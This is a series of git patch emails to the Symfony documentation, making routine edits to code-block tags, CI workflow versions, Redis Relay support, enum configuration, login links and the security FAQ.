     # or
@@ -229,7 +229,7 @@ to initialize Stimulus and automatically load any "controllers" from the
 
 Let's look at a simple Stimulus example. In a Twig template, suppose you have:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <div {{ stimulus_controller('say-hello') }}>
         <input type="text" {{ stimulus_target('say-hello', 'name') }}>
diff --git a/frontend/ux.rst b/frontend/ux.rst
index 86fddf852bc..1396a28a582 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -100,7 +100,7 @@ controller available! In this example, it's called
 into the ``{{ stimulus_controller() }}`` function from WebpackEncoreBundle, and
 it will normalize it:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <div {{ stimulus_controller('@symfony/ux-chartjs/chart') }}>
 
diff --git a/mercure.rst b/mercure.rst
index 3bbdb38dce9..a5c2823df5b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -261,7 +261,7 @@ Subscribing
 
 Subscribing to updates in JavaScript from a Twig template is straightforward:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <script>
     const eventSource = new EventSource("{{ mercure('https://example.com/books/1')|escape('js') }}");
@@ -278,7 +278,7 @@ parameters corresponding to the topics passed as first argument.
 If you want to access to this URL from an external JavaScript file, generate the
 URL in a dedicated HTML element:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <script type="application/json" id="mercure-url">
     {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}
@@ -296,7 +296,7 @@ Mercure also allows subscribing to several topics,
 and to use URI Templates or the special value ``*`` (matched by all topics)
 as patterns:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <script>
     {# Subscribe to updates of several Book resources and to all Review resources matching the given pattern #}
@@ -427,7 +427,7 @@ passed by the browsers to the Mercure hub if the ``withCredentials`` attribute
 of the ``EventSource`` class is set to ``true``. Then, the Hub verifies the
 validity of the provided JWT, and extract the topic selectors from it.
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <script>
     const eventSource = new EventSource("{{ mercure('https://example.com/books/1', { subscribe: 'https://example.com/books/1' })|escape('js') }}", {
@@ -455,7 +455,7 @@ is the way to go.
     The native implementation of EventSource doesn't allow specifying headers.
     For example, authorization using a Bearer token. In order to achieve that, use `a polyfill`_
 
-    .. code-block:: twig
+    .. code-block:: html+twig
 
         <script>
         const es = new EventSourcePolyfill("{{ mercure('https://example.com/books/1') }}", {

From af85ac667966f95ecac8af6105d6cfcdefc3ec74 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 13:57:12 +0100
Subject: [PATCH 2878/5766] Use `actions/checkout@v3`

---
 .github/workflows/ci.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index e42b78e849c..74511e6903e 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -21,7 +21,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v2
+                uses: actions/checkout@v3
 
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
@@ -57,7 +57,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v2
+                uses: actions/checkout@v3
 
             -   name: "Create cache dir"
                 run: mkdir .cache
@@ -83,7 +83,7 @@ jobs:
         continue-on-error: true
         steps:
           - name: Checkout code
-            uses: actions/checkout@v2
+            uses: actions/checkout@v3
             with:
                 path: 'docs'
 

From c88664cb1982650420f0d9299d3a5242cfb46b5a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 14:00:11 +0100
Subject: [PATCH 2879/5766] Use `actions/cache@v3`

---
 .github/workflows/ci.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 74511e6903e..2e9cb4e4ee7 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -36,7 +36,7 @@ jobs:
                 run: echo "::set-output name=dir::$(composer config cache-files-dir)"
 
             -   name: Cache dependencies
-                uses: actions/cache@v2
+                uses: actions/cache@v3
                 with:
                     path: ${{ steps.composercache.outputs.dir }}
                     key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
@@ -67,7 +67,7 @@ jobs:
                 id: extract_base_branch
 
             -   name: "Cache DOCtor-RST"
-                uses: actions/cache@v2
+                uses: actions/cache@v3
                 with:
                     path: .cache
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
@@ -109,7 +109,7 @@ jobs:
 
           - name: Cache dependencies
             if: ${{ steps.find-files.outputs.files }}
-            uses: actions/cache@v2
+            uses: actions/cache@v3
             with:
                 path: ${{ steps.composercache.outputs.dir }}
                 key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}

From 806573a2f9683fd1e7b460e5c4eb1a48f1ef40a4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 4 Feb 2023 14:46:54 +0100
Subject: [PATCH 2880/5766] Merging two paragraphs

Page: https://symfony.com/doc/5.4/security.html#frequently-asked-questions

* The second one mainly repeated the first one; there was only 1 sentence really new, so I merged them.
* I removed the part that multiple firewalls are usually not needed. Reason: "Each firewall is like a separate security system" says it all.
---
 security.rst | 18 ++++++------------
 1 file changed, 6 insertions(+), 12 deletions(-)

diff --git a/security.rst b/security.rst
index 924bbecd58e..23d553e0909 100644
--- a/security.rst
+++ b/security.rst
@@ -2661,18 +2661,12 @@ Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Firewalls?**
-    Yes! But it's usually not necessary. Each firewall is like a separate security
-    system, being authenticated in one firewall doesn't make you authenticated in
-    another one. One firewall can have multiple diverse ways of allowing
-    authentication (e.g. form login, API key authentication and LDAP).
-
-**Can I Share Authentication Between Firewalls?**
-    Yes, but only with some configuration. If you're using multiple firewalls and
-    you authenticate against one firewall, you will *not* be authenticated against
-    any other firewalls automatically. Different firewalls are like different security
-    systems. To do this you have to explicitly specify the same
-    :ref:`reference-security-firewall-context` for different firewalls. However,
-    one main firewall is usually sufficient for the needs of most applications.
+    Yes! Each firewall is like a separate security system, being authenticated in one
+    firewall doesn't make you authenticated in another one. Each firewall can have
+    multiple ways of allowing authentication (e.g. form login, and API key authentication).
+    If you want to share authentication between firewalls,
+    you have to explicitly specify the same
+    :ref:`reference-security-firewall-context` for different firewalls.
 
 **Security doesn't seem to work on my Error Pages**
     As routing is done *before* security, 404 error pages are not covered by

From 90a482819babd108768918fa9f104b9e6ef70632 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 4 Feb 2023 17:15:04 +0100
Subject: [PATCH 2881/5766] [Config] Allow enum values in EnumNode

---
 components/config/definition.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 29d0715e722..129426a9807 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -151,6 +151,34 @@ values::
 This will restrict the ``delivery`` options to be either ``standard``,
 ``expedited``  or ``priority``.
 
+You can also provide enum values to ``enumNode()``. Let's define an enumeration
+describing the possible states of the example above::
+
+    enum Delivery: string
+    {
+        case Standard = 'standard';
+        case Expedited = 'expedited';
+        case Priority = 'priority';
+    }
+
+The configuration can now be written like this::
+
+    $rootNode
+        ->children()
+            ->enumNode('delivery')
+                // You can provide all values of the enum...
+                ->values(Delivery::cases())
+                // ... or you can pass only some values next to other scalar values
+                ->values([Delivery::Priority, Delivery::Standard, 'other', false])
+            ->end()
+        ->end()
+    ;
+
+.. versionadded:: 6.3
+
+    The support of enum values in ``enumNode()`` was introduced
+    in Symfony 6.3.
+
 Array Nodes
 ~~~~~~~~~~~
 

From a27d30ebe75e51a4dcd18bbc01392a5b546c6cb9 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 4 Feb 2023 18:39:26 +0100
Subject: [PATCH 2882/5766] Fix code block for routing troubleshooting examples

---
 routing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/routing.rst b/routing.rst
index 5b3900868d0..7bbb5cf0804 100644
--- a/routing.rst
+++ b/routing.rst
@@ -3026,6 +3026,8 @@ Troubleshooting
 
 Here are some common errors you might see while working with routing:
 
+.. code-block:: text
+
     Controller "App\\Controller\\BlogController::show()" requires that you
     provide a value for the "$slug" argument.
 
@@ -3040,6 +3042,8 @@ But your route path does *not* have a ``{slug}`` parameter (e.g. it is
 ``/blog/show``). Add a ``{slug}`` to your route path: ``/blog/show/{slug}`` or
 give the argument a default value (i.e. ``$slug = null``).
 
+.. code-block:: text
+
     Some mandatory parameters are missing ("slug") to generate a URL for route
     "blog_show".
 

From 806394734c219e2146cb0d57103dddb4089d7089 Mon Sep 17 00:00:00 2001
From: Pierre Galvez <login@pierre-galvez.fr>
Date: Sat, 4 Feb 2023 22:54:44 +0100
Subject: [PATCH 2883/5766] Null Coalescing Operator

Use Null Coalescing Operator instead of isset ? :
---
 create_framework/routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/routing.rst b/create_framework/routing.rst
index f76167ec2fb..71e3a8250e1 100644
--- a/create_framework/routing.rst
+++ b/create_framework/routing.rst
@@ -35,7 +35,7 @@ template as follows:
 .. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
-    Hello <?= htmlspecialchars(isset($name) ? $name : 'World', ENT_QUOTES, 'UTF-8') ?>
+    Hello <?= htmlspecialchars($name ?? 'World', ENT_QUOTES, 'UTF-8') ?>
 
 Now, we are in good shape to add new features.
 

From f300e8444e159105a208ff92beec47a42b4af151 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 13 Jan 2023 18:46:30 +0100
Subject: [PATCH 2884/5766] [Configuration] Add $_ENV and $_SERVER example with
 .env

---
 configuration.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index f1f66be2fdf..5eb70fed1b6 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -58,7 +58,7 @@ Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
 Unlike other frameworks, Symfony doesn't impose a specific format on you to
-configure your applications, but lets you choose between YAML, XML and PHP. 
+configure your applications, but lets you choose between YAML, XML and PHP.
 Throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
@@ -653,6 +653,12 @@ This example shows how you could configure the database connection using an env
             ]);
         };
 
+Your env vars may also be accessed in your code thanks to PHP super
+globals ``$_ENV`` and ``$_SERVER``. Both are equivalent::
+
+    $databaseUrl = $_ENV['DATABASE_URL']; // mysql://db_user:db_password@127.0.0.1:3306/db_name
+    $env = $_SERVER['APP_ENV']; // prod
+
 .. versionadded:: 5.3
 
     The ``env()`` configurator syntax was introduced in 5.3.

From fc1844934d988e04d0bf6a8246cb0349c09d7c89 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 5 Feb 2023 15:04:44 +0100
Subject: [PATCH 2885/5766] Adding `reset()`

Page: https://symfony.com/doc/5.4/rate_limiter.html#rate-limiting-in-action

Wasn't mentioned anywhere...
---
 rate_limiter.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index a99c01191af..6ace5a6af67 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -249,10 +249,11 @@ the number of requests to the API::
             // RateLimitExceededException if the limit has been reached
             // $limiter->consume(1)->ensureAccepted();
 
+            // to reset the counter
+            // $limiter->reset();
+
             // ...
         }
-
-        // ...
     }
 
 .. note::

From 137125a48a2d14468733b416d483001f73011671 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Feb 2023 10:06:19 +0100
Subject: [PATCH 2886/5766] Minor tweak

---
 security.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 23d553e0909..79e08227f34 100644
--- a/security.rst
+++ b/security.rst
@@ -2661,12 +2661,11 @@ Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Firewalls?**
-    Yes! Each firewall is like a separate security system, being authenticated in one
-    firewall doesn't make you authenticated in another one. Each firewall can have
+    Yes! However, each firewall is like a separate security system: being authenticated
+    in one firewall doesn't make you authenticated in another one. Each firewall can have
     multiple ways of allowing authentication (e.g. form login, and API key authentication).
-    If you want to share authentication between firewalls,
-    you have to explicitly specify the same
-    :ref:`reference-security-firewall-context` for different firewalls.
+    If you want to share authentication between firewalls, you have to explicitly
+    specify the same :ref:`reference-security-firewall-context` for different firewalls.
 
 **Security doesn't seem to work on my Error Pages**
     As routing is done *before* security, 404 error pages are not covered by

From ebde5a8afbd256e44dd509b578e75d36d517aa86 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Feb 2023 19:47:39 +0100
Subject: [PATCH 2887/5766] [Messenger] Add `TransportNamesStamp` tip

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 40b6e714a19..67fccfa9bf4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -339,6 +339,20 @@ to multiple transports:
     from ``Notification``, both the routing for ``Notification`` and
     ``SmsNotification`` will be used.
 
+.. tip::
+
+    You can define and override the transport that a message is using at
+    runtime by using the
+    :class:`Symfony\\Component\\Messenger\\Stamp\\TransportNamesStamp` on
+    the envelope of the message. This stamp takes an array of transport
+    name as its only argument. For more information about stamps, see
+    `Envelopes & Stamps`_.
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\Messenger\\Stamp\\TransportNamesStamp`
+    stamp was introduced in Symfony 6.2.
+
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From b15ca749d587adbe0408b5cf563b5d2ad9b5c168 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 6 Feb 2023 09:18:33 +0100
Subject: [PATCH 2888/5766] Simplify configuration env var example

---
 configuration.rst | 35 +++++++++++++----------------------
 1 file changed, 13 insertions(+), 22 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index cd2a920f05b..0335ea6edb2 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -605,51 +605,42 @@ The values of these options are resolved at runtime (only once per request, to
 not impact performance) so you can change the application behavior without having
 to clear the cache.
 
-This example shows how you could configure the database connection using an env var:
+This example shows how you could configure the application secret using an env var:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/doctrine.yaml
-        doctrine:
-            dbal:
-                # by convention the env var names are always uppercase
-                url: '%env(resolve:DATABASE_URL)%'
+        # config/packages/framework.yaml
+        framework:
+            # by convention the env var names are always uppercase
+            secret: '%env(APP_SECRET)%'
             # ...
 
     .. code-block:: xml
 
-        <!-- config/packages/doctrine.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xmlns:framework="http://symfony.com/schema/dic/framework"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/doctrine
-                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-            <doctrine:config>
-                <!-- by convention the env var names are always uppercase -->
-                <doctrine:dbal url="%env(resolve:DATABASE_URL)%"/>
-            </doctrine:config>
+            <framework:config secret="%env(APP_SECRET)%"/>
 
         </container>
 
     .. code-block:: php
 
-        // config/packages/doctrine.php
+        // config/packages/framework.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('doctrine', [
-                'dbal' => [
-                    // by convention the env var names are always uppercase
-                    'url' => env('DATABASE_URL')->resolve(),
-                    // or
-                    'url' => '%env(resolve:DATABASE_URL)%',
-                ],
+            $container->extension('framework', [
+                'secret' => '%env(APP_SECRET)%',
             ]);
         };
 

From 2a66aba3977652322e382a82b41e23c4dfacde8a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Feb 2023 15:02:24 +0100
Subject: [PATCH 2889/5766] Add a new item to the list of concrete examples of
 Code of Conduct

---
 contributing/code_of_conduct/concrete_example_document.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst
index ddd1c9b84c8..0981cce4454 100644
--- a/contributing/code_of_conduct/concrete_example_document.rst
+++ b/contributing/code_of_conduct/concrete_example_document.rst
@@ -21,7 +21,9 @@ Concrete Examples
 * Pattern of inappropriate social contact, such as requesting/assuming
   inappropriate levels of intimacy with others;
 * Continued one-on-one communication after requests to cease;
-* Putting down people based on their technology choices or their work.
+* Putting down people based on their technology choices or their work;
+* Taking photographs of conference attendees and speakers and publishing them
+  without their explicit permission.
 
 The original list is inspired and modified from `geek feminism`_ and
 confirmed by experiences from PHPWomen.

From b5dd8e64d4a036d9b828af305eea7989cd1289f3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Feb 2023 15:17:31 +0100
Subject: [PATCH 2890/5766] [Profiler] Add a tip about profiler icons

---
 profiler.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/profiler.rst b/profiler.rst
index d519aad46a0..a5ebc5303b5 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -362,6 +362,12 @@ block and set the value of two variables called ``icon`` and ``text``:
         {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { link: false }) }}
     {% endblock %}
 
+.. tip::
+
+    Symfony Profiler icons are selected from `Tabler icons`_, a large and open
+    source collection of SVG icons. It's recommended to also use those icons for
+    your own profiler panels to get a consistent look.
+
 .. tip::
 
     Built-in collector templates define all their images as embedded SVG files.
@@ -510,3 +516,4 @@ you'll need to configure the data collector explicitly:
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler
+.. _`Tabler icons`: https://github.com/tabler/tabler-icons

From e169f78c6653b2a934a06323484d124474095e9f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 7 Feb 2023 17:14:13 +0100
Subject: [PATCH 2891/5766] [Workflow] Do not talk about registry

This is not recommended since https://github.com/symfony/symfony/pull/46000
---
 components/workflow.rst | 22 ----------------------
 1 file changed, 22 deletions(-)

diff --git a/components/workflow.rst b/components/workflow.rst
index 67b00730b69..a62491d24b7 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -58,33 +58,12 @@ The ``Workflow`` can now help you to decide what *transitions* (actions) are all
 on a blog post depending on what *place* (state) it is in. This will keep your domain
 logic in one place and not spread all over your application.
 
-When you define multiple workflows you should consider using a ``Registry``,
-which is an object that stores and provides access to different workflows.
-A registry will also help you to decide if a workflow supports the object you
-are trying to use it with::
-
-    use Acme\Entity\BlogPost;
-    use Acme\Entity\Newsletter;
-    use Symfony\Component\Workflow\Registry;
-    use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
-
-    $blogPostWorkflow = ...;
-    $newsletterWorkflow = ...;
-
-    $registry = new Registry();
-    $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
-    $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class));
-
 Usage
 -----
 
-When you have configured a ``Registry`` with your workflows,
-you can retrieve a workflow from it and use it as follows::
-
     // ...
     // Consider that $blogPost is in place "draft" by default
     $blogPost = new BlogPost();
-    $workflow = $registry->get($blogPost);
 
     $workflow->can($blogPost, 'publish'); // False
     $workflow->can($blogPost, 'to_review'); // True
@@ -103,7 +82,6 @@ method to initialize the object property::
 
     // ...
     $blogPost = new BlogPost();
-    $workflow = $registry->get($blogPost);
 
     // initiate workflow
     $workflow->getMarking($blogPost);

From 0b3e3f955be92b9cef2204a152b713e3e1b85174 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gabriel=20Ostroluck=C3=BD?= <gabriel.ostrolucky@gmail.com>
Date: Sun, 5 Feb 2023 23:50:20 +0100
Subject: [PATCH 2892/5766] Add Redis Relay doc

---
 components/cache/adapters/redis_adapter.rst | 19 ++++++++++++++-----
 components/lock.rst                         |  6 +++++-
 session.rst                                 |  6 +++---
 3 files changed, 22 insertions(+), 9 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 9596386b80e..466d78debf2 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -25,9 +25,9 @@ to utilize a cluster of servers to provide redundancy and/or fail-over is also a
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
-    ``\Redis``, ``\RedisArray``, ``RedisCluster``, or ``\Predis``.
+    ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay`` or ``\Predis``.
 
-This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, or `Predis`_ instance to be
+This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_ or `Predis`_ instance to be
 passed as the first parameter. A namespace and default cache lifetime can optionally be passed
 as the second and third parameters::
 
@@ -47,6 +47,10 @@ as the second and third parameters::
         $defaultLifetime = 0
     );
 
+.. versionadded:: 6.3
+
+    Support for `Relay`_ was introduced in Symfony 6.3.
+
 Configure the Connection
 ------------------------
 
@@ -165,10 +169,14 @@ array of ``key => value`` pairs representing option names and their respective v
 Available Options
 ~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.3
+
+    ``\Relay\Relay`` support was introduced in Symfony 6.3.
+
 ``class`` (type: ``string``, default: ``null``)
-    Specifies the connection library to return, either ``\Redis`` or ``\Predis\Client``.
-    If none is specified, it will return ``\Redis`` if the ``redis`` extension is
-    available, and ``\Predis\Client`` otherwise. Explicitly set this to ``\Predis\Client`` for Sentinel if you are
+    Specifies the connection library to return, either ``\Redis``, ``\Relay\Relay`` or ``\Predis\Client``.
+    If none is specified, fallback value is in following order, depending which one is available first:
+    ``\Redis``, ``\Relay\Relay``, ``\Predis\Client``. Explicitly set this to ``\Predis\Client`` for Sentinel if you are
     running into issues when retrieving master information.
 
 ``persistent`` (type: ``int``, default: ``0``)
@@ -258,6 +266,7 @@ Read more about this topic in the official `Redis LRU Cache Documentation`_.
 .. _`Redis`: https://github.com/phpredis/phpredis
 .. _`RedisArray`: https://github.com/phpredis/phpredis/blob/master/arrays.markdown#readme
 .. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/master/cluster.markdown#readme
+.. _`Relay`: https://relay.so/
 .. _`Predis`: https://packagist.org/packages/predis/predis
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
diff --git a/components/lock.rst b/components/lock.rst
index 85f528b140d..119c3074fae 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -602,8 +602,12 @@ store locks and does not expire.
 RedisStore
 ~~~~~~~~~~
 
+.. versionadded:: 6.3
+
+    ``\Relay\Relay`` support was introduced in Symfony 6.3.
+
 The RedisStore saves locks on a Redis server, it requires a Redis connection
-implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster`` or
+implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay`` or
 ``\Predis`` classes. This store does not support blocking, and expects a TTL to
 avoid stalled locks::
 
diff --git a/session.rst b/session.rst
index d6db9408428..007337569fc 100644
--- a/session.rst
+++ b/session.rst
@@ -503,7 +503,7 @@ a Symfony service for the connection to the Redis server:
                     # - { 'prefix': 'my_prefix', 'ttl': 600 }
 
             Redis:
-                # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+                # you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes
                 class: Redis
                 calls:
                     - connect:
@@ -526,7 +526,7 @@ a Symfony service for the connection to the Redis server:
             xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <!-- you can also use \RedisArray, \RedisCluster or \Predis\Client classes -->
+                <!-- you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes -->
                 <service id="Redis" class="Redis">
                     <call method="connect">
                         <argument>%env(REDIS_HOST)%</argument>
@@ -565,7 +565,7 @@ a Symfony service for the connection to the Redis server:
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
 
         $container
-            // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+            // you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes
             ->register('Redis', \Redis::class)
             ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
             // uncomment the following if your Redis server requires a password:

From 929cbc0bc8b4838368f6d85fa3a9c282cd9986f8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Feb 2023 06:08:39 +0100
Subject: [PATCH 2893/5766] Use DOCtor-RST 1.40.0

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 2e9cb4e4ee7..1be6d19ddf9 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.38.2
+                uses: docker://oskarstark/doctor-rst:1.40.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 4188d4d5b553a44e400d8d7adb93c5f3d49d7e5b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Feb 2023 06:22:16 +0100
Subject: [PATCH 2894/5766] Fix: config

---
 .doctor-rst.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3cebb1a12f8..f0f78c84e31 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -54,7 +54,7 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
     yarn_dev_option_at_the_end: ~
-    no_merge_conflict:
+    no_merge_conflict: ~
 
     #   master
     versionadded_directive_major_version:

From b928cbe1ec5a13b9eb1ae53ad799300247e393c3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Feb 2023 06:22:37 +0100
Subject: [PATCH 2895/5766] sort

---
 .doctor-rst.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f0f78c84e31..94d2470c6a7 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -32,6 +32,7 @@ rules:
     no_directive_after_shorthand: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~
+    no_merge_conflict: ~
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
@@ -54,7 +55,6 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
     yarn_dev_option_at_the_end: ~
-    no_merge_conflict: ~
 
     #   master
     versionadded_directive_major_version:

From 930962893fbc2221f9eabd7d143d73af6f973b0b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Feb 2023 19:29:57 +0100
Subject: [PATCH 2896/5766] [LoginLink] Add technical details

---
 security/login_link.rst | 28 ++++++++++++++++++++++++++--
 1 file changed, 26 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 40679e50071..b1688490f5f 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -111,9 +111,9 @@ intercept requests to this route:
                 throw new \LogicException('This code should never be reached');
             }
         }
-        
+
     .. code-block:: php-attributes
-    
+
         // src/Controller/SecurityController.php
         namespace App\Controller;
 
@@ -428,6 +428,13 @@ The signed URL contains 3 parameters:
     properties. Whenever these change, the hash changes and previous login
     links are invalidated.
 
+For a user that returns ``user@example.com`` on ``$user->getUserIdentifier()``
+call, the generated login link looks like this:
+
+.. code-block:: text
+
+    http://example.com/login_check?user=user@example.com&expires=1675707377&hash=f0Jbda56Y...A5sUCI~TQF701fwJ...7m2n4A~
+
 You can add more properties to the ``hash`` by using the
 ``signature_properties`` option:
 
